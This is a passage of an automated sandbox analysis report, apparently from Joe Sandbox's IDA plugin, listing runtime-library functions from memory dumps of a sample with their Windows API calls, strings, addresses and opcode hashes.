csm, xrefs: 00007FFBC3204E1B

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 7f01d96fb52924c6f5fc1d666da4b107b2a99de0eb80eb6c113e4145ccbd24ec
Instruction ID: 912062a1e2a10727d625d8450e062c860dbc12f463aac3a044a03264adc94223
Opcode Fuzzy Hash: 7f01d96fb52924c6f5fc1d666da4b107b2a99de0eb80eb6c113e4145ccbd24ec
Instruction Fuzzy Hash: 49E195B29087818AEF10AF74D480BBE77A1FB45B48F984135DB9D6B656CF38E489C740

Function 00007FFBC32095BC Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFBC3208BC9,?,?,?,?,00007FFBC3208C14), ref: 00007FFBC32095CB
FlsSetValue.KERNEL32(?,?,?,00007FFBC3208BC9,?,?,?,?,00007FFBC3208C14), ref: 00007FFBC3209601
FlsSetValue.KERNEL32(?,?,?,00007FFBC3208BC9,?,?,?,?,00007FFBC3208C14), ref: 00007FFBC320962E
FlsSetValue.KERNEL32(?,?,?,00007FFBC3208BC9,?,?,?,?,00007FFBC3208C14), ref: 00007FFBC320963F
FlsSetValue.KERNEL32(?,?,?,00007FFBC3208BC9,?,?,?,?,00007FFBC3208C14), ref: 00007FFBC3209650
SetLastError.KERNEL32(?,?,?,00007FFBC3208BC9,?,?,?,?,00007FFBC3208C14), ref: 00007FFBC320966B

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 33ee88f61e6773b2952d25dee95f1e22d8cbd108a9fa28cb936705bbce5dbc3e
Instruction ID: ed1c50bb17997c49093f04b477dda85b111a87f84caeb1cb6af2fb04ca1e063c
Opcode Fuzzy Hash: 33ee88f61e6773b2952d25dee95f1e22d8cbd108a9fa28cb936705bbce5dbc3e
Instruction Fuzzy Hash: 43113AB0A0C24245FE647F31D65193B63529F48BB0F884334E82F2E6E6DE2CA4459700

Function 0000000140013850 Relevance: 9.0, APIs: 6, Instructions: 18synchronizationCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001385B
LeaveCriticalSection.KERNEL32 ref: 0000000140013872
SetEvent.KERNEL32 ref: 000000014001387F
WaitForSingleObject.KERNEL32 ref: 0000000140013891
CloseHandle.KERNEL32 ref: 000000014001389E
CloseHandle.KERNEL32 ref: 00000001400138AB

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CloseCriticalHandleSection$EnterEventLeaveObjectSingleWait
String ID:
API String ID: 3326452711-0
Opcode ID: 090e3fcaa9eba1e18c75aea56b56e2fd2f402425d5e54323bcdd5196f3225223
Instruction ID: 377d3f5d57f943d14cdd7bc93d1ee7868a659259fbd0ecc80ccbf17849fffa4f
Opcode Fuzzy Hash: 090e3fcaa9eba1e18c75aea56b56e2fd2f402425d5e54323bcdd5196f3225223
Instruction Fuzzy Hash: 71F00274611D05D5EB029F53EC953942362B79CBD5F590111EB0E8B270DF3A8599C705

Function 0000000140003790 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 00000001400037D3
#4.VSELOG ref: 0000000140003823
EnterCriticalSection.KERNEL32 ref: 000000014000382F
LeaveCriticalSection.KERNEL32 ref: 00000001400038B7

Strings

amps_Exec: pHandle=%p, execId=%d, iParam=%d, xrefs: 000000014000380B

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$EnterLeaveTimerWaitable
String ID: amps_Exec: pHandle=%p, execId=%d, iParam=%d
API String ID: 2984211723-1229430080
Opcode ID: 8fa1b459277aeb819b509878b21750225505e1aa195fd5cfddc3614e408b1588
Instruction ID: 21f659f61b14fb79d6609d2ab4e2a3109e2b4daa988e78f6170daec752ad98bd
Opcode Fuzzy Hash: 8fa1b459277aeb819b509878b21750225505e1aa195fd5cfddc3614e408b1588
Instruction Fuzzy Hash: 2C311375614B4082EB228F56F890B9A7360F78CBE4F480225FB6C4BBB4DF7AC5858740

Function 00007FFBC3207F28 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FFBC3207F4D
GetProcAddress.KERNEL32 ref: 00007FFBC3207F63
FreeLibrary.KERNEL32 ref: 00007FFBC3207F8A

Strings

mscoree.dll, xrefs: 00007FFBC3207F44
CorExitProcess, xrefs: 00007FFBC3207F5C

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0eaf2309885660167acf271fd0a1c535a59c62651c8a9772c1b781fc3320bbcf
Instruction ID: 7a259519bc08c6f0ac289ccbe8cc23391b6b7254e680c1ba314532043cd12642
Opcode Fuzzy Hash: 0eaf2309885660167acf271fd0a1c535a59c62651c8a9772c1b781fc3320bbcf
Instruction Fuzzy Hash: 77F04FA5A1970691EF10AF34E444B3B7731AF88B61FD80335DAAD5A6E4CF2CD849C340

Function 0000000140008510 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 16libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000028,0000000140009145,?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423), ref: 000000014000851F
GetProcAddress.KERNEL32(?,?,00000028,0000000140009145,?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423), ref: 0000000140008534
ExitProcess.KERNEL32 ref: 0000000140008545

Strings

CorExitProcess, xrefs: 000000014000852A
mscoree.dll, xrefs: 0000000140008518

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$mscoree.dll
API String ID: 75539706-1276376045
Opcode ID: 4ddf6373e7a566e00e4fa2e7ca5c7f01cf3397e3372fa5b750933ca2dd1c2c09
Instruction ID: f47e7dafb9c87e29c0f228a4507f2bac89d7b1d3f8a3a9cfd33eb857191fa9e3
Opcode Fuzzy Hash: 4ddf6373e7a566e00e4fa2e7ca5c7f01cf3397e3372fa5b750933ca2dd1c2c09
Instruction Fuzzy Hash: 3AE04CB0711A0052FF5A9F62BC947E823517B5DB85F481429AA5E4B3B1EE7D85888340

Function 00007FFBC32040D4 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FFBC32041F7
__AdjustPointer.LIBCMT ref: 00007FFBC3204242

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 50c4e1713d184cdf0fe8662c588dfc2dc4bd464af84c2e8e24b447969137b9d6
Instruction ID: 2a28e95cb6a7a6a9ee381350e7d0791bf42304456d6e64d1f1a1e726382e0cae
Opcode Fuzzy Hash: 50c4e1713d184cdf0fe8662c588dfc2dc4bd464af84c2e8e24b447969137b9d6
Instruction Fuzzy Hash: F9B1B2B1A0A64285EE65FF71D480A3A67A0EF54B84F9DC435DE4C2F785DE3CE8498B40

Function 0000000140009F50 Relevance: 7.7, APIs: 5, Instructions: 208COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32 ref: 0000000140009F76

Part of subcall function 0000000140008370: Sleep.KERNEL32(?,?,00000000,0000000140005545), ref: 00000001400083C0

GetFileType.KERNEL32 ref: 000000014000A11C

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: FileInfoSleepStartupType
String ID:
API String ID: 1527402494-0
Opcode ID: b08a78d08636f6435b28fe3dd3a9dc7fe07bd3625b9b0f375563a7ba95a95139
Instruction ID: 2708af0267d8365e54dad009941ca9060f987db411f69ca3ecc20d856229d7df
Opcode Fuzzy Hash: b08a78d08636f6435b28fe3dd3a9dc7fe07bd3625b9b0f375563a7ba95a95139
Instruction Fuzzy Hash: 68917DB260468085E726CB2AE8487D936E4A71A7F4F554726EB79473F1DA7EC841C301

Function 0000000140009E30 Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E3E
GetLastError.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E5E
GetCommandLineA.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E9B
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009EBB

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CommandLine$ByteCharErrorLastMultiWide
String ID:
API String ID: 3078728599-0
Opcode ID: ef26d27679934e8a1eb9f7884d3deda4952e844cae744d2e9e47d116f2e36b92
Instruction ID: cab5f27f5268d67fa2b955b7a4895f7bd1e416bc4c6d53bc856f5ac88b27d897
Opcode Fuzzy Hash: ef26d27679934e8a1eb9f7884d3deda4952e844cae744d2e9e47d116f2e36b92
Instruction Fuzzy Hash: 04316D72614A8082EB21DF52F80479A77E1F78EBD0F540225FB9A87BB5DB3DC9458B00

Function 000000014000FD50 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDAC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDC7

Part of subcall function 0000000140010B30: CreateFileA.KERNEL32 ref: 0000000140010B5A

GetConsoleOutputCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDDC
WideCharToMultiByte.KERNEL32 ref: 000000014000FE0D
WriteConsoleA.KERNEL32 ref: 000000014000FE32

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Console$Write$ByteCharCreateErrorFileLastMultiOutputWide
String ID:
API String ID: 1850339568-0
Opcode ID: 4201eac49788cf302f684002ef01a2526af238478ded1ce40358f727cda20400
Instruction ID: bea3f08d648c3b04eb316e4c6042deaac10e1fdf59f4257f2eabc448b4c653dc
Opcode Fuzzy Hash: 4201eac49788cf302f684002ef01a2526af238478ded1ce40358f727cda20400
Instruction Fuzzy Hash: 38317AB1214A4482EB12CF22F8403AA73A1F79D7E4F544315FB6A4BAF5DB7AC5859B00

Function 00007FFBC320FB54 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FFBC320FB7C
_set_statfp.LIBCMT ref: 00007FFBC320FB97
_set_statfp.LIBCMT ref: 00007FFBC320FBB3
_set_statfp.LIBCMT ref: 00007FFBC320FBEF

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 4d3c2bc84a878a3ff3d229176cc4d467c3c986fbb6f3ea169b2dd3d189eb8c82
Instruction ID: 46cc5dcd53557b42516c928f39491b11e945224738e3ce02a790eab27aa36c01
Opcode Fuzzy Hash: 4d3c2bc84a878a3ff3d229176cc4d467c3c986fbb6f3ea169b2dd3d189eb8c82
Instruction Fuzzy Hash: B611B4B2D9864B21FE643D38D325B7B12005F9C370F9C4230E56E2E2DA9E2C5C484700

Function 00007FFBC3209684 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FFBC320766F,?,?,00000000,00007FFBC320790A,?,?,?,?,?,00007FFBC3207896), ref: 00007FFBC32096A3
FlsSetValue.KERNEL32(?,?,?,00007FFBC320766F,?,?,00000000,00007FFBC320790A,?,?,?,?,?,00007FFBC3207896), ref: 00007FFBC32096C2
FlsSetValue.KERNEL32(?,?,?,00007FFBC320766F,?,?,00000000,00007FFBC320790A,?,?,?,?,?,00007FFBC3207896), ref: 00007FFBC32096EA
FlsSetValue.KERNEL32(?,?,?,00007FFBC320766F,?,?,00000000,00007FFBC320790A,?,?,?,?,?,00007FFBC3207896), ref: 00007FFBC32096FB
FlsSetValue.KERNEL32(?,?,?,00007FFBC320766F,?,?,00000000,00007FFBC320790A,?,?,?,?,?,00007FFBC3207896), ref: 00007FFBC320970C

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: bb51f29ac47eeb1f6796421cb9a02d5f68bea7befc5ae5f024f95b6d7c89f858
Instruction ID: 863471b9393fcf372de28e4fe3f5ea54804387744f2d3cc0a7b66040f7d46c27
Opcode Fuzzy Hash: bb51f29ac47eeb1f6796421cb9a02d5f68bea7befc5ae5f024f95b6d7c89f858
Instruction Fuzzy Hash: 061108F1A0C24245FE58BE35E55197B63519F447F0FDC4234E82E6E6E6EE2CE4459B00

Function 00007FFBC3209518 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FFBC3209529
FlsSetValue.KERNEL32 ref: 00007FFBC3209548
FlsSetValue.KERNEL32 ref: 00007FFBC3209570
FlsSetValue.KERNEL32 ref: 00007FFBC3209581
FlsSetValue.KERNEL32 ref: 00007FFBC3209592

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 268c2f24943cee61b6b4fcee88cdb8167fba3483a6ba8794c8981ad7437e3c9d
Instruction ID: f09811be4aabe796a3d0d19616357d09b1b139ca1cb93bfe0b2132573550671a
Opcode Fuzzy Hash: 268c2f24943cee61b6b4fcee88cdb8167fba3483a6ba8794c8981ad7437e3c9d
Instruction Fuzzy Hash: 2C11B6F0A092464AFE68BE72D45297B67518F44770E9C0634D93F2D2E2DD2CB4499B10

Function 00007FFBC3205448 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FFBC32054B8
_CallSETranslator.LIBVCRUNTIME ref: 00007FFBC3205503

Strings

RCC, xrefs: 00007FFBC32054D4
MOC, xrefs: 00007FFBC32054CC

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 05e6bcd6379202f9de8a504331af606c6f0c7846a7ada8f8d1f8410d364d1b1d
Instruction ID: bc13a64d3d9333e1b4f10ba763cecc5c8f9defc2cfca4ca532505b58e41e59a4
Opcode Fuzzy Hash: 05e6bcd6379202f9de8a504331af606c6f0c7846a7ada8f8d1f8410d364d1b1d
Instruction Fuzzy Hash: 289193B3A087858AEB10EF74D4806AE7BA0FB44788F58413AEB4D2B755DF38D199C700

Function 00007FFBC3203A38 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFBC3203A63
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FFBC3203AFA
RtlUnwindEx.KERNEL32 ref: 00007FFBC3203B54

Strings

csm, xrefs: 00007FFBC3203AE1

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 600c049ef3683cbbf08a5c5522dfbe353e9582842af90703f029184ead156da5
Instruction ID: 928aa74c63e6ba45b63879787781fe666bb26cd3bea429ba50938ed951316d26
Opcode Fuzzy Hash: 600c049ef3683cbbf08a5c5522dfbe353e9582842af90703f029184ead156da5
Instruction Fuzzy Hash: A551C172B096428ADF14EF39D484E3A7391EB44B88F888130EB4A5B788DF7CE845C700

Function 00007FFBC32059C8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFBC32059F0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FFBC3205AD8

Strings

csm, xrefs: 00007FFBC3205B2A
csm, xrefs: 00007FFBC3205A12

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: e758ec8c21499b3e432f6d95c1f73bf76a1a56d3c0875a2448db4a431929008f
Instruction ID: dc75bc0ad159981e4af71e124b3389786561e70c56483767095489e48a05d63f
Opcode Fuzzy Hash: e758ec8c21499b3e432f6d95c1f73bf76a1a56d3c0875a2448db4a431929008f
Instruction Fuzzy Hash: 04517FB290C3828AEF64AF21D484B6A77A0EB54B84FAC4135DA4D6BB85CF3CF454C700

Function 00007FFBC32051D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FFBC3205237
_CallSETranslator.LIBVCRUNTIME ref: 00007FFBC3205283

Strings

MOC, xrefs: 00007FFBC320524B
RCC, xrefs: 00007FFBC3205253

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 5cda7244b452661d0672782f382aa0b3873e73ebf845244b9e3a73cca65a7280
Instruction ID: 48d53e1834c5f5568877b8f373fd703032ebd8ef0c8d49752ac5a3fb3da99da6
Opcode Fuzzy Hash: 5cda7244b452661d0672782f382aa0b3873e73ebf845244b9e3a73cca65a7280
Instruction Fuzzy Hash: F861927290CBC585DB60AF25E4407AAB7A0FB84B84F584225EB9C1BB55DF7CD194CB00

Function 000000014000EDC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000001400073E0: LdrLoadDll.NTDLL ref: 00000001400073E2

GetModuleHandleA.KERNEL32 ref: 000000014000EE2D
GetProcAddress.KERNEL32 ref: 000000014000EE42

Strings

InitializeCriticalSectionAndSpinCount, xrefs: 000000014000EE38
kernel32.dll, xrefs: 000000014000EE26

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: AddressHandleLoadModuleProc
String ID: InitializeCriticalSectionAndSpinCount$kernel32.dll
API String ID: 3055805555-3733552308
Opcode ID: 8c1e87d42adfe8e60614ff850b90a208d486e410194b6671aa5990fefe8541df
